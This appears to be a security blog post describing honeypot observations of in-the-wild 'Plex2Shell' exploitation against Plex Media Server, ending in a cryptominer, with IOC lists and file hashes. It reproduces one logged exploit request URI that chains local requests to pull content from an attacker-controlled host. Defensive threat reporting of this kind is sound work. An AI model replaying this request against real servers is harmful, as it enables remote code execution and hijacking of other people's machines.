Intro:

(No AI was involved in writing, research, etc...)

If you see weird fonts and spacing, blame Blogger. 

Skip to "In the wild exploitation" if you just care about that part. 

It's just a cryptominer. On one hand that's not a big deal for victims on the other hand, I don't get interesting c o n t e n t to write about. 

I wouldn't be surprised if threat actors deploy more sophisticated things. Plex may be hosted on residential IP and I think threat actors would love to have residential IP proxy to access corporate VPNs and emails. 

Back on September 1st, 2026, Plex sent out emails and did a security announcement regarding important security updates. See the post here: https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319

As an infosec person and a Plex user, I was really curious about what this vuln was and if I could see in-the-wild exploitation. I set up a honeypot w/ a vulnerable Plex version running.

The details were limited and they said that they'd update the page with more details so I kept watching and didn't see anything. 

Finally, on Sep 26th, I saw some CVE's get published here: https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html  but none of them had CVSS score of 9+. They did contain a link to a blog post which was not released at the time. 

Link was to https://zmain.info/blog/plex2shell and release was supposed to be mid Oct so I waited and finally saw an update on Oct 16th (yesterday). The author had discovered and chained several vulns together to get remote code exec which was pretty cool. 

CVE's:

CVE-2026-96652

CVE-2026-96654

CVE-2026-96655

CVE-2026-96656 

Here's their code: https://github.com/code-zm/plex2shell/

I did do testing in the lab. Here are pcaps for detection/signature work: https://github.com/BoredHackerBlog/plex2shell_pcap

Plex2Shell In the wild exploitation:

My honeypot mostly saw scanning and generic exploitation attempts.  

As of this morning (Oct 17th), I finally saw in the wild exploitation using exploit code from the authors github.

So by default, I don't allow outbound traffic from my honeypots but due to how this vuln works, I had to go modify my settings later on so sadly I didn't get payloads for all the attacks.

Here's what I observed:

First exploitation attempt came from 45.194.92.222. From zeek logs:

 "uri": "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471",
  "user_agent": "Python-urllib/3.10",

The following two IP's were seen doing exploitation as well:

91.92.40.202

176.65.139.228 

I went back and changed my honeypot configuration to allow outbound traffic and saw continued exploitation from 45.194.92.222. 

This time I did see in the logs that there was a file download happening from 217.60.194.116.

 The following was contained inside of the docker file:

Of course it's a cryptominer. 

IOCs:

For detection of the attack, look at my github pcap link and source code from the main author. 

This is just for what was seen on the honeypot.

IP's responsible for exploitation as of writing this:

91.92.40.202

176.65.139.228

45.194.92.222 

176.65.139.228

Malicious file download source:  

217.60.194.116 (docker & x)

File hashes:

5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441  docker

68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7  x (upx packed)

b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49  x (upx unpacked)